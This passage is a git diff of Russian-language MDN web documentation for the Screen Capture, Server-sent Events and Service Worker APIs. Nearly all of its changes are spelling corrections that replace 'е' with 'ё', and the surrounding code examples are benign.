или логические поверхности отображения</h3> -<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).</p> +<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединённые в одну поверхность, и монитор (или группу мониторов, объединённых в одну поверхность).</p> <p>Есть два типа поверхности дисплея. <strong>Видимая поверхность отображения </strong>- это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.</p> <p><strong>Логическая поверхность отображения</strong> - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.</p> -<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p> +<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушёванный контент, либо путём получения текущего содержимого скрытой части окна, либо путём предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p> <h3 id="Свойства_и_ограничения">Свойства и ограничения</h3> @@ -96,7 +96,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p>К примеру, если определить ограничение {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.</p> <div class="blockIndicator note"> -<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.</p> +<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определённым контентом, ограничивая исходный список, пока не останется только один элемент.</p> </div> <p>В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.</p> @@ -111,7 +111,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p>До запуска скрипта, который будет запрашивать возможность обмена аудио, проверьте реализацию {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.</p> -<p>Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p> +<p>Чтобы запросить доступ к экрану с включённым звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p> <pre class="brush: js">const gdmOptions = { video: true, @@ -119,7 +119,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture } </pre> -<p>Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p> +<p>Это даёт пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p> <pre class="brush: js">const gdmOptions = { video: { diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html index 63899ce9d7..0e1dede357 100644 --- a/files/ru/web/api/selection/tostring/index.html +++ b/files/ru/web/api/selection/tostring/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/Selection/toString <p>Этот метод возвращает выделенный текст.</p> -<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:</p> +<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передаётся, требует строку:</p> <pre class="brush: js">alert(window.getSelection()) // What is called alert(window.getSelection().toString()) // What is actually being effectively called. diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html index 0bc2834743..bee580418a 100644 --- a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html +++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events <h2 id="Получение_событий_от_сервера">Получение событий от сервера</h2> -<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создает события. Например:</p> +<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создаёт события. Например:</p> <pre class="brush: js">const evtSource = new EventSource("ssedemo.php");</pre> -<p>Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p> +<p>Если файл с генератором событий размещён на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI ещё и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p> <pre class="brush: js"><code>const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); </code> </pre> @@ -49,7 +49,7 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events <p>Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип <code>text/event-stream</code>. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (<code>\n</code>) . Подробнее о формате потока событий см. {{ anch("Event stream format") }}.</p> -<p>{{Glossary("PHP")}} код, который мы используем для примера приведен ниже:</p> +<p>{{Glossary("PHP")}} код, который мы используем для примера приведён ниже:</p> <pre class="brush: php">date_default_timezone_set("America/New_York"); header('Cache-Control: no-cache'); @@ -79,7 +79,7 @@ while (1) { } </pre> -<p>Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p> +<p>Приведённый выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p> <div class="note"> <p><strong>Примечание</strong>: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p> @@ -106,7 +106,7 @@ while (1) { <div class="note"><strong>Примечание:</strong> Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.</div> -<p>Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p> +<p>Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет своё имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p> <h3 id="Поля">Поля</h3> diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html index 7d52ed2334..f7b0bbb1cd 100644 --- a/files/ru/web/api/service_worker_api/index.html +++ b/files/ru/web/api/service_worker_api/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Service_Worker_API <h2 id="Концепция_и_использование_Service_Worker">Концепция и использование Service Worker</h2> -<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).</p> +<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведёт себя в определённых ситуациях (например, когда сеть не доступна).</p> <p>Service worker запускается в контексте воркеров, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, в Service Worker'е использовать нельзя.</p> @@ -55,7 +55,7 @@ translation_of: Web/API/Service_Worker_API <p>Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service воркером для этой страницы/сайта.</p> -<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.</p> +<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного её завершения — активация.</p> <p>Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние <em>в ожидании</em>. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет <em>активным воркером</em>). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.</p> @@ -63,7 +63,7 @@ translation_of: Web/API/Service_Worker_API <p>Есть также событие <code>activate</code>. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.</p> -<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p> +<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на своё усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p> <div class="note"> <p><strong>Заметка</strong>: Так как выполнение <code>oninstall</code>/<code>onactivate</code> может занять время, спецификация service worker предоставляет метод <code>waitUntil</code>, который возвращает промис, когда вызывается <code>oninstall</code> или <code>onactivate</code>. Функциональные события не отправляются service worker, пока промис не завершится успешно.</p> @@ -78,7 +78,7 @@ translation_of: Web/API/Service_Worker_API <ul> <li>Фоновая синхронизация данных</li> <li>Ответ на запросы от других источников</li> - <li>Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li> + <li>Получение централизованного обновления для данных использующих тяжёлые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li> <li>Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки</li> <li>Подписка на фоновые сервисы</li> <li>Кастомная шаблонизация, основанная на определённых паттернах URL</li> @@ -90,7 +90,7 @@ translation_of: Web/API/Service_Worker_API <ul> <li><a href="https://github.com/slightlyoff/BackgroundSync">Фоновой синхронизации</a>: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.</li> <li><a href="/en-US/docs/Web/API/Push_API">Реакции на пуш-сообщения</a>: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.</li> - <li>Реакции на определенное время и дату</li> + <li>Реакции на определённое время и дату</li> <li>Введение гео-ограничений</li> </ul> @@ -100,7 +100,7 @@ translation_of: Web/API/Service_Worker_API <dt>{{domxref("Cache") }}</dt> <dd>Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.</dd> <dt>{{domxref("CacheStorage") }}</dt> - <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.</dd> + <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создаёт главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имён соответствующего объекта {{domxref("Cache")}}.</dd> <dt>{{domxref("Client") }}</dt> <dd>Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным воркером.</dd> <dt>{{domxref("Clients") }}</dt> diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html index bab45149a6..4fc2235590 100644 --- a/files/ru/web/api/service_worker_api/using_service_workers/index.html +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -83,7 +83,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>В первом примере код, идущий за вызовом функции <code>myFunction()</code>, будет ждать завершения вызова и возврата значения. Во втором примере <code>myFunction()</code> возвращает промис для <code>value</code>, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу <code>then</code>, будет выполнен асинхронно.</p> -<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать <code>.complete</code>, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p> +<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнём их слушать? Мы могли бы использовать <code>.complete</code>, но оно все ещё ненадёжно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p> <p>Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере <a href="https://github.com/mdn/promises-test">Promises test</a> или взглянуть на <a href="https://mdn.github.io/promises-test/">живое демо</a>.)</p> @@ -111,9 +111,9 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers }); }</pre> -<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p> +<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешён или отклонён, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p> -<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> +<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> <pre class="brush: js notranslate">let body = document.querySelector('body'); let myImage = new Image(); @@ -126,7 +126,7 @@ imgLoad('myLittleVader.jpg').then((response) => { console.log(Error); });</pre> -<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещенный в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p> +<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаём две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещённый в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p> <p>Все это происходит асинхронно.</p> @@ -141,14 +141,14 @@ imgLoad('myLittleVader.jpg').then((response) => { <h2 id="Демонстрация_Service_Workers">Демонстрация Service Workers</h2> -<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p> +<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также ещё регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!</p> <p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br> <br> Вы можете посмотреть <a href="https://github.com/mdn/sw-test/">исходный код на GitHub</a>, а также <a href="https://mdn.github.io/sw-test/">этот живой пример</a>. Единственное, что мы тут рассмотрим, это промис (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js строки 22-47</a>), модифицированная версия того, о котором вы читали выше в разделе <a href="https://github.com/mdn/promises-test">Тестовая демонстрация промисов</a>. Разница в следующем:</p> <ol> - <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li> + <li>Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаём JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла <code>for()</code>, это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).</li> <li>Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js строки 31-34</a>). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.</li> <li>Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js строки 60-64</a>). По началу это может выглядеть немного странно, но именно так и работают промисы.</li> </ol> @@ -182,7 +182,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускаете код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.</p> -<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p> +<p>Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнёт работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.</p> <div class="note"> <p><strong>На заметку</strong>: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.</p> @@ -192,7 +192,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><strong>На заметку</strong>: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.</p> </div> -<h4 id="Почему_мой_сервис-воркер_не_прошел_регистрацию">Почему мой сервис-воркер не прошел регистрацию?</h4> +<h4 id="Почему_мой_сервис-воркер_не_прошёл_регистрацию">Почему мой сервис-воркер не прошёл регистрацию?</h4> <p>Это может произойти по следующим причинам:</p> @@ -222,7 +222,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><strong>На заметку</strong>: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, или можете хранить ресурсы в <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> </div> -<p>Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> +<p>Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> <pre class="brush: js notranslate">self.addEventListener('install', (event) => { event.waitUntil( @@ -246,12 +246,12 @@ imgLoad('myLittleVader.jpg').then((response) => { <ol> <li>Здесь мы добавляем обработчик события <code>install</code> к сервис-воркеру (отныне <code>self</code>), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри <code>waitUntil()</code>, не завершится с успехом.</li> <li><span style="line-height: 1.5;">Внутри <code>waitUntil()</code> мы используем метод </span><a href="/en-US/docs/Web/API/CacheStorage/open">caches.open()</a>, чтобы создать новый кеш, который назовём <code>v1</code>, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод <code>addAll()</code>, который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.</li> - <li>Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li> + <li>Если промис будет отклонён, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.</li> <li>После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).</li> </ol> <div class="note"> -<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.</p> +<p><span style="font-size: 14px; line-height: 21px;"><strong>На заметку</strong></span>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> работает схожим образом, но в синхронном режиме, поэтому запрещён в сервис-воркерах.</p> </div> <div class="note"> @@ -264,7 +264,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p> -<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).</p> +<p>Событие <code>fetch</code> возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадёт в сервис-воркер).</p> <p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p> @@ -322,7 +322,7 @@ event.request.body</pre> <h2 id="Восстановление_неудачных_запросов">Восстановление неудачных запросов</h2> -<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p> +<p>Итак, <code>caches.match(event.request)</code> отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдёт, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением <code>undefined</code> и мы не получим никакого значения.</p> <p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p> @@ -334,9 +334,9 @@ event.request.body</pre> ); });</pre> -<p>Если промис будет отклонен, функция <code>catch()</code> вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p> +<p>Если промис будет отклонён, функция <code>catch()</code> вернёт обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.</p> -<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:</p> +<p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:</p> <pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { event.respondWith( @@ -351,11 +351,11 @@ event.request.body</pre> ); });</pre> -<p>Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.</p> +<p>Здесь мы возвращаем обычный сетевой запрос, который возвращён вызовом <code>fetch(event.request);</code> этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав <code>caches.open('v1');</code> этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов <code>cache.put()</code>, чтобы поместить ресурс в кеш. Ресурс получен через <code>event.request</code>, а ответ — через клонирование <code>response.clone()</code>. Клон помещается в кеш, а оригинальный ответ передаётся браузеру, который передаёт его странице, которая запросила ресурс.</p> -<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p> +<p>Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ 